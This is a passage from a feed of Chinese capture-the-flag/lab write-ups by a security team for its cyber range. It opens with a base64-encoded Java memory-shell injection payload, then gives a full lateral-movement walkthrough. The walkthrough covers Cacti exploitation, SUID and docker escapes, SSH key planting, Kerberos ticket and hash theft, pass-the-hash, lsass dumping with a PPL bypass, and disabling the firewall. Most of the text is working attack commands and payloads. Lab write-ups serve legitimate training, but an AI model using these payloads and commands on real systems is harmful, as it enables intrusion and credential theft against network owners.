JpbmdmcmFtZXdvcmsvd2ViL3NlcnZlci9TZXJ2ZXJXZWJFeGNoYW5nZQEAEGphdmEvbGFuZy9TdHJpbmcMASUBKAcBKQwBKgErDAEsAS0BAAJvawEAE2phdmEvbGFuZy9FeGNlcHRpb24MAS4AagEABWVycm9yAQAXamF2YS9uZXQvVVJMQ2xhc3NMb2FkZXIBAAxqYXZhL25ldC9VUkwHAS8MATABMQwBMgEzDABpATQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIHATUMATYAmQwBNwE4AQADQUVTBwEaDAE5AToBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDAE7ATwMAGkBPQwBPgE/DAFAAUEBAANNRDUHAUIMATkBQwwBRAFFDAFGAUcBABRqYXZhL21hdGgvQmlnSW50ZWdlcgwBSAE8DABpAUkMAR0BSgwBSwEeAQAQamF2YS51dGlsLkJhc2U2NAwBTAFNAQAKZ2V0RW5jb2RlcgwBTgEiAQAOZW5jb2RlVG9TdHJpbmcBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAFPAVABAAZlbmNvZGUBAApnZXREZWNvZGVyAQAGZGVjb2RlAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgEADGRlY29kZUJ1ZmZlcgwBUQFSAQAQQm9vdHN0cmFwTWV0aG9kcw8GAVMQAVQPBwFVEACpDAFWAVcHAVgMAVkBWgEAJ29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9SZXNwb25zZUVudGl0eQcBWwwBXAFdDABpAV4MAV8BHgcBYAwBYQFUDACcAJ0MAIkAigwAYQBiAQAHcGF5bG9hZAcBYgwBYwFUDACBAIIMAWQBZQEACnBhcmFtZXRlcnMBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwBZgFnDAFoAWkMAWoBPAwAlQCWDAFoAUoMAWsBbAEAEWphdmEvdXRpbC9IYXNoTWFwAQAQM2M2ZTBiOGE5YzE1MjI0YQEAE2phdmF4L2NyeXB0by9DaXBoZXIBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAVwYXRocwEAB0J1aWxkZXIBAAxJbm5lckNsYXNzZXMBAGAoW0xqYXZhL2xhbmcvU3RyaW5nOylMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsBAElvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbyRCdWlsZGVyAQAFYnVpbGQBAEUoKUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAKShbTGphdmEvbmV0L1VSTDtMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQARamF2YS9sYW5nL0ludGVnZXIBAARUWVBFAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAARpbml0AQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAdkb0ZpbmFsAQAGKFtCKVtCAQAbamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0AQAxKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0OwEABmxlbmd0aAEAAygpSQEABnVwZGF0ZQEAByhbQklJKVYBAAZkaWdlc3QBAAYoSVtCKVYBABUoSSlMamF2YS9sYW5nL1N0cmluZzsBAAt0b1VwcGVyQ2FzZQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAC2dldEZvcm1EYXRhAQAfKClMcmVhY3Rvci9jb3JlL3B1Ymxpc2hlci9Nb25vOwoBbQFuAQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsKABIBbwEABWFwcGx5AQAtKExtcy9HTWVtU2hlbGw7KUxqYXZhL3V0aWwvZnVuY3Rpb24vRnVuY3Rpb247AQAbcmVhY3Rvci9jb3JlL3B1Ymxpc2hlci9Nb25vAQAHZmxhdE1hcAEAPChMamF2YS91dGlsL2Z1bmN0aW9uL0Z1bmN0aW9uOylMcmVhY3Rvci9jb3JlL3B1Ymxpc2hlci9Nb25vOwEAI29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzAQACT0sBACVMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXM7AQA6KExqYXZhL2xhbmcvT2JqZWN0O0xvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1czspVgEACmdldE1lc3NhZ2UBACZvcmcvc3ByaW5nZnJhbWV3b3JrL3V0aWwvTXVsdGlWYWx1ZU1hcAEACGdldEZpcnN0AQANamF2YS91dGlsL01hcAEAA2dldAEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAJc3Vic3RyaW5nAQAWKElJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvQnl0ZUFycmF5AQAEan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'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping,'/gmem')}"

访问注册的接口，执行注入内存马的操作。再访问内存马注册的路由，已成功注册：

使用客户端进行连接，成功维持权限：

攻击服务端

在分布式架构中，CloudGateway仅仅是充当转发的角色，主要业务并不在这台机器上实现。在机器上进行一系列的信息搜集后，未发现有效信息。自然而然想到拿到服务端的所有接口，看是否能找到服务端接口的未授权等漏洞。拿到客户端源码进行反编译，这里遇到ju-gui的一个问题，直接反编译jar包少了一个类：

而手工解包再反编译class就能获取正常情况：

从上面的类我们发现了后台接口http://spring-cloud-service/login，传递的数据类型为json。从nacos我们可以获取spring-cloud-service的ip及端口：

猜一猜后台接口参数，实战情况下客户端一般会存在一些结构体，可以构造出后端需要的参数。

看到这个功能点我们比较自然的会想到爆破、修改content-type为xml造成xxe、注入等漏洞。但这里我们发现客户端程序依赖存在fastjson，很有可能后台也存在fastjson。直接尝试从最老版本的fastjson开始利用，直接盲打：

请求未开放端口，发现长时间不响应，大概率存在漏洞。dns/http请求外网服务器并无响应，疑似不出网环境。

针对fastjson不出网环境，常见的利用一般为bcel或者c3p0,尝试bcel利用：

直接成功执行了命令。在服务器根目录获取到了flag。

总结

本文主要是熟悉一下简单的分布式架构会用的一些产品和框架，漏洞利用没有什么复杂的地方。主要包括从配置集中管理->前端->后端api的攻击流程，控制了后端实际业务功能服务器基本可以接触到数据或接触目标内网。

参考

https://xz.aliyun.com/t/12313

https://y4er.com/posts/fastjson-learn/

https://xz.aliyun.com/t/12492 https://github.com/safe6Sec/Fastjson

环境获取

本挑战为xbitsplatform私有环境，平台测试地址为www.xbitsplatform.com 。通过微信群或知识星球获取激活码获得使用资格。

知识星球

团队其他文章

域渗透-How2UseLdap
域渗透-How2PwnACLs
域渗透-How2MoveLaterally

了解更多关于xbitsplatform的信息：

xBitsPlatform公测版正式上线啦
 xBitsPlatform使用说明

阅读原文

跳转微信打开

域渗透-How2MoveLaterally

Thu, 15 Jun 2023 17:55:00 +0800

原创 7bits安全团队 2023-06-15 17:55 江苏

团队靶场-How2MoveLaterally Write Up介绍本环境是 xbitsplatform 靶场

团队靶场-How2MoveLaterally Write Up

介绍

本环境是 xbitsplatform 靶场平台的基础环境之一，主要考察横向移动的知识点。从 linux 外围打点开始，经历几次横向移动后最后获得域管权限。

目前环境作为公开挑战已上线 xbitsplatform 靶场平台。

知识点

• CVE-2022-46169
• suid 提权
• docker 特权模式逃逸
• 域内 linux 信息搜集
• linux 横向移动
• 域内低权限定位个人机
• 本地账户横向移动
• 域内横向移动
• wmi 端口受限绕过
• 内存保护 PPL 绕过

打点

扫描发现 cacti，版本为 1.2.22，疑似存在 CVE-2022-46169

成功利用并写入一个 webshell

没有开启 disable_function,gpc 等，直接执行命令就好：

发现存在 dockerenv 文件，应该是 docker。经过一番信息搜集发现没有可以拓展的地方。

docker 逃逸

查看/dev 目录发现有很多文件：

说明该 docker 是特权模式启动，存在逃逸的可能。

直接尝试挂载物理机磁盘，先查看以下磁盘：

显示权限不足，想办法先提权。

查找 suid 文件：

find / -user root -perm -4000 -exec ls -ldb {} \

有比较特殊的文件 find：

看一下怎么利用：

https://gtfobins.github.io/gtfobins/find/

执行：

find . -exec /bin/sh -p -c whoami \; -quit

成功提权：

通过 root 权限查看挂在磁盘：

find . -exec /bin/sh -p -c "mkdir /mnt/pwn" \; -quit
find . -exec /bin/sh -p -c mount /dev/dm-0 /mnt/pwn\; -quit

会报错：

这里的 root 权限是有限制的。但是我们在/mnt 目录下发现一个已经挂载目录，并且可以读取：

find . -exec /bin/sh -p -c 'ls /mnt/cacti' \; -quit

看起来就是物理机的磁盘，那么问题就转换成可以读写文件获取该 linux 权限了。

这里采用写公钥的办法，首先生成一对公私钥：

编码后写入 ssh 配置文件：

find . -exec /bin/sh -p -c 'echo c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBQkpRQUFBUUVBcDJTMHB4K012Y2F4UlZsZ0c1Yk5jb2M0RW1QZHd3dEhWT2h4UW5SMWYxVDUwUFArU0wzV1JDSG5HeXVnVkwweVJNak9pVHJLVVBmOGZkT2tqVDh5T1k1dndXSmVLM1ZKOXd4Zkx6UHZycmM5SkJTWVhwY1Z1eS9oMU5id2N6bGt5d2xNVjAxVytzUG4vNGxCZnlHOGtBcWUzMnVVdEp4UU9yVndlOW1Xak1IRzN3eHVOUk4rR3REK3EvRGJSZ0lMUjlTSWtWOG9hMzdONENaZVRXdkJ3RS9RWGZ3UFh5RlJVTVlKNkUxcXFHUVpadmhSMlhlWGpRTWdtODlEZVZFbVFOcnVVYzA4MWpkRnN3Mm9lUG1qbCtZaTkrZmdnSWdFSnlqUTdxc21RczFqUlNZclNkWnZnaEVILzB2Zm5VMGdYRUN5M0hTZm5Jd2RTcmFkeDNWcXZ3PT0gcnNhLWtleS0yMDIzMDQyNg== | base64 -d > /mnt/cacti/root/.ssh/authorized_keys' \; -quit

选择公钥后登录：

登录成功：

linux 域信息搜集

查看 dns，显然存在域，域控为 10.0.2.100：

ping 一下，ttl 为 128，是 windows 域：

查看具体的 ldap 配置，域为 move.lab：

搜索 openldap 及 web 等目录寻找和域相关的信息：

grep -rn move.lab /etc
grep -rn move.lab /var/www/html

几个文件看下来没有域凭据。但我们可以获得几个一些有效信息：

域名为 move.lab，域控机器 ip 为 10.0.0.100，存在域账户 linux_ldap 并可以登录当前的 linux。

如果我们可以拿到 linux_ldap 这个用户的身份可以先将域的 ldap 信息导出，在/tmp 目录下发现了 linux_ldap 用户缓存的票据：

设置环境变量为这个票据：

[root@cacti tmp]# export KRB5CCNAME=/tmp/krb5cc_1680801105

使用 ldapsearch 导出信息

ldapsearch  -b "dc=move,dc=lab" -H ldap://10.0.2.100

显示认证失败：

看来这些工具并不支持票据认证，使用 impacet 工具尝试，这里直接使用打包好的 elf 程序：

[root@cacti tmp]# ./GetADUsers_linux_x86_64  move.lab/linux_ldap -k  -no-pass -all

显示 ticket 暂时过期了

通过一番查询发现可以通过一些其他的方式找到域凭据，比如从内存获取 linux_ldap 的票据，甚至可以获取到 linux 机器的机器 hash。尝试从从 krb5.keytab 获取机器 hash:

这样我们就可以用这个机器的身份来搜集 ldap 信息:

[root@cacti tmp]# ./GetADUsers_linux_x86_64  move.lab/cacti\$ -hashes 7eb5e976f35341c3a9aa667a7a701ec0:7eb5e976f35341c3a9aa667a7a701ec0  -all

可以成功查询：

但 impacket 对于 ldap 信息搜集的不全，只有枚举用户的功能。现在就转换成有一个机器和机器 hash(域凭据)的情况下如何获取 ldap 信息了。

本地 pth：

sekurlsa::pth /domain:move.lab /dc:dc.move.lab /user:cacti$ /ntlm:7eb5e976f35341c3a9aa667a7a701ec

使用 Adfind 导出 ldap 信息：

定位域用户机器

目前可以使用 linux_ldap 的身份做操作，查看 linux_ldap 用户信息：

dn:CN=linux_ldap,CN=Users,DC=move,DC=lab
>objectClass: top
>objectClass: person
>objectClass: organizationalPerson
>objectClass: user
>cn: linux_ldap
>distinguishedName: CN=linux_ldap,CN=Users,DC=move,DC=lab
>instanceType: 4
>whenCreated: 20230422140814.0Z
>whenChanged: 20230426144030.0Z
>uSNCreated: 12838
>memberOf: CN=IT admins,CN=Users,DC=move,DC=lab
>uSNChanged: 13727
>name: linux_ldap
>objectguid: {B1979F8F-42A9-4656-8F85-67827C2A8239}
>userAccountControl: 66048
>badPwdCount: 2
>codePage: 0
>countryCode: 0
>badPasswordTime: 133269901580757155
>lastLogoff: 0
>lastLogon: 133268853178838661
>pwdLastSet: 133266460945786222
>primaryGroupID: 513
>objectsid: S-1-5-21-1540577040-1432127714-718651653-1105
>accountExpires: 0
>logonCount: 3
>sAMAccountName: linux_ldap
>sAMAccountType: 805306368
>objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=move,DC=lab
>dSCorePropagationData: 16010101000000.0Z
>lastLogonTimestamp: 133266470902405676

linux_ldap 为 IT admins 组成员，IT admins 不属于任何特权组。出现这种情况一般是 IT admins 为一些机器的本地管理员组成员，方便管理员管理机器，但在 AD 上没有特权。

我们需要知道 linux_ldap 能登哪台机器，最暴力的方式是直接进行认证,如 rdp/wmi/smb 等。这样在很多有防护的环境是比较危险的，会直接提示权限不足。

我们可以使用一些列 windows API 远程枚举出机器本地组的成员，效果和在机器上执行"net localgroup administrators"类似。

比如：

https://github.com/SkewwG/domainTools/tree/master/NetLocalGroupGetMembers

好处是只需要能建立 smb 连接就可以使用，默认情况下普通域账户其实是可以登录任何一台域机器的，但不能通过 rdp 这样的方式远程登录。net use 这种可以认证通过，但进行 dir c:\这样的操作会报 access deny。

比如：

用这系列 api 可以避免触发 access deny，降低风险。

pth 后成功枚举出了一些机器的本地管理组：

发现 IT admins 是 server01(10.0.2.199)的本地管理员组成员，我们可以通过已有的 linux_ldap 控制这台机器。

横向移动

过了一段时间我们看到 linux_ldap 用户有登录行为，

票据应该有效了，直接使用 impacket 的工具 wmiexec 横向：

export KRB5CCNAME=/tmp/krb5cc_1680801105
./wmiexec_linux_x86_64 move.lab/linux_ldap@10.0.2.199 -k  -no-pass -dc-ip 10.0.2.10

报错:

票据认证需要使用 FQDN 或者 NETbiosNAME：

export KRB5CCNAME=/tmp/krb5cc_1680801105
./wmiexec_linux_x86_64 move.lab/linux_ldap@connect.move.lab -k  -no-pass -dc-ip 10.0.2.100

成功:

抓内存发现没有域凭据，抓本地注册表，这里因为目标是 windows 系统，存在编码的问题，部分命令回显有问题，但可以正常执行：

使用 smbclient 获取文件：

./smbclient_linux_x86_64 move.lab/linux_ldap@connect.move.lab -k  -no-pass -dc-ip 10.0.2.100

使用 mimikatz 解出注册表中的 hash：

wmi 横向移动

现在有本地 administrator 账户的 hash，实战中可能有很多情况本地 administrator 账户的密码是一样的，比如虚拟机克隆、统一装机、组策略等情况。计划使用本地 administrator 进行横向移动。

查看 ldap 信息发现还有一台 windows server02：

尝试横向移动：

./wmiexec_linux_x86_64 Administrator@server02.move.lab -hashes  83cb8d375287916f79bbf0d29accc893:83cb8d375287916f79bbf0d29accc893 -no-pass -dc-ip 10.0.2.100

发现不成功，一直卡在界面，疑似端口不通。查看端口开放情况：

发现只开通了 135，我们知道一般的 wmi 横向移动需要结合 135 端口的 dcom 和 445 端口的 smb 服务，wmiexec 的源码也验证了这一点：

现在面临的问题就是在仅开放 135 端口的情况下如何进行横向移动。这里使用https://github.com/QAX-A-Team/sharpwmi

该工具主要是通过 rpc 协议操作注册表，将命令执行的结果写入注册表，之后读取注册表来代替使用 smb 的形式拿到回显：

ExecCmd 实现远程调用 wmi：

该工具支持 pth，需要和 mimikatz 结合使用，首先本机进行 pth：

privilege::debug
sekurlsa::pth /user:administrator /domain:server02 /ntlm:83cb8d375287916f79bbf0d29accc893

成功执行：

抓取内存

查看 lsass 的 pid

使用 Minudump 函数抓取内存：

powershell rundll32 C:\windows\system32\comsvcs.dll, MiniDump 580 C:\windows\temp\lsass.dmp full

其中","符号影响了命令执行：

可以通过执行 bat 的形式绕过。使用 sharpwmi 自带的上传功能上传一个 bat：

sharpwmi.exe pth 10.0.2.105 upload 1.bat c:\windows\temp\1.bat

不报错但也没有文件生成：

换一种 dump 方式，上传 LOLBins-procdump64.exe,上传时发现了 sharpwmi 上传有个 bug：

传进去的是上一次上传的结果。可以对工具进行修改，这里笔者怕麻烦，使用远程下载的方式下载到机器上：

执行依旧存在问题，看起来无法开启 lsass 进程，这种情况有几种可能，一是当前用户可能没有 SeDebugPrivilege 权限，另外一种可能是被杀软拦截了，其次就是可能开启了 PPL 保护机制。

首先确认存在 SeDebugPrivilege 权限：

其次检查进程及驱动，未发现防护软件。

查询注册表,果然开启了 PPL：

绕过 ppl

这里直接尝试之前的文章《域渗透-一文了解lsass内存转储攻防技术》中的用户态技术，使用https://github.com/last-byte/RIPPL工具：

sharpwmi.exe pth 10.0.2.105 cmd "c:\windows\temp\RIPPL.exe -D -f lsass.exe c:\windows\temp\lsass.dmp"

成功导出：

怎么拿 lsass 到本地是个问题，这里直接关闭该机器的防火墙，通过 smb 获取：

sharpwmi.exe pth 10.0.2.105 cmd "netsh advfirewall set domainprofile state off"
copy /z \\10.0.2.105\c$\windows\temp\lsass.dmp

通过 mimikatz 解析 dump 文件：

获得 hash：

Administrator b9f21293575140357afceead26c3397

pth 后读取 flag：

总结

本环境主要模拟了在实战环境的渗透测试流程，通过web打点进入主机，检测为Docker环境，之后逃逸发现在Linux中其中存在域环境，之后进行横向移动及一系列攻击手法，最后拿到flag。

参考

https://xz.aliyun.com/t/6888
https://github.com/Mr-Un1k0d3r/SCShell
https://github.com/QAX-A-Team/sharpwmi
https://tttang.com/archive/1624/

https://www.alibabacloud.com/help/zh/nas/latest/mount-and-use-an-smb-file-system-on-a-linux-client-as-an-ad-domain-user
https://techglimpse.com/centos-yum-package-python-pip-error/
https://stackoverflow.com/questions/72270592/syntaxerror-when-pip-install-pip-def-readrel-path-str
https://github.com/carlospolop/hacktricks/blob/master/linux-hardening/privilege-escalation/linux-active-directory.md

环境获取

本挑战为xbitsplatform公开环境，师傅可以直接通过 www.xbitsplatform.com 访问平台。同时环境中使用的工具，和该靶场相关笔记也会上传到知识星球。

知识星球

团队其他文章

域渗透-How2UseLdap
域渗透-How2PwnACLs
Java安全-记一次实战使用memoryshell

了解更多关于xbitsplatform的信息：

xBitsPlatform公测版正式上线啦
xBitsPlatform使用说明

加入内部讨论群

阅读原文

跳转微信打开

域渗透-How2UseLdap

Fri, 12 May 2023 09:20:00 +0800

原创 7bits安全团队 2023-05-12 09:20 江苏

前言在域环境中Ldap属于比较基础，且重要的知识点，通过了解Ldap的相关内容，可以快速的判断域内的环境。以

前言

在域环境中Ldap属于比较基础，且重要的知识点，通过了解Ldap的相关内容，可以快速的判断域内的环境。以及可能存在的缺陷，常常会有人遇到ldap的相关的应用，因为对ldap一知半解，从而失去了利用机会，我们在平台中配套了对应的实战环境，目前环境将作为公开挑战已上线xbitsplatform靶场平台。

团队靶场-How2UseLdap Write Up

任务目标

获取到win10机器中的flag。

攻击路径

涉及的主要知识点

• Ldap 相关利用
• 域外凭证利用
• 基于资源的约束委派
• 域控DNS获取
• GPO 策略下发

机器情况

• DC 10.0.0.10 [135,445,389,88]
• Ldap 10.0.0.177 [80]
• flag 10.0.0.12 [135,139,445]
• rbcd win8 10.0.0.13 [135,139,445]
• rbcd2 win12 10.0.0.14 [135,139,445]

wirteup

Ldap 信息获取

首先通过对 IP 段进行扫描判断域内主机，以及域控机器

拿到资产信息后首先对已知 ip 进行端口扫描，发现只有10.0.0.177这台机器开放了 Web 端口。其他机器都开放了一些常规的端口，没有可以进行利用的点。目前主流的突破口都是从 web 方面进行突破，下面主要测试该 Web 应用是否存在一些可以利用的地方。

打开网站后，发现是员工信息查询页面，根据上面"请输入域账户"的提示，判断使用了域环境的验证方式。域环境验证的方式主要可以通过 Ldap 与 Kerberos 进行验证。这里需要确定他使用的验证方式。

一般发现 web 应用使用什么样的验证方式，可以使用下面几种方式来确定：

• 通过网站页面信息
• 网站验证方式选择框
• 数据包
• 网站源码泄露
• phpinfo

进行目录扫描发现敏感文件，phpinfo.php,readme.txt。

当目标使用一些域内验证技术的时候需要开启对应的扩展，通过 phpinfo，看到了目标开启了 ldap 支持。可以推断使用了 ldap 方式对用户进行验证。

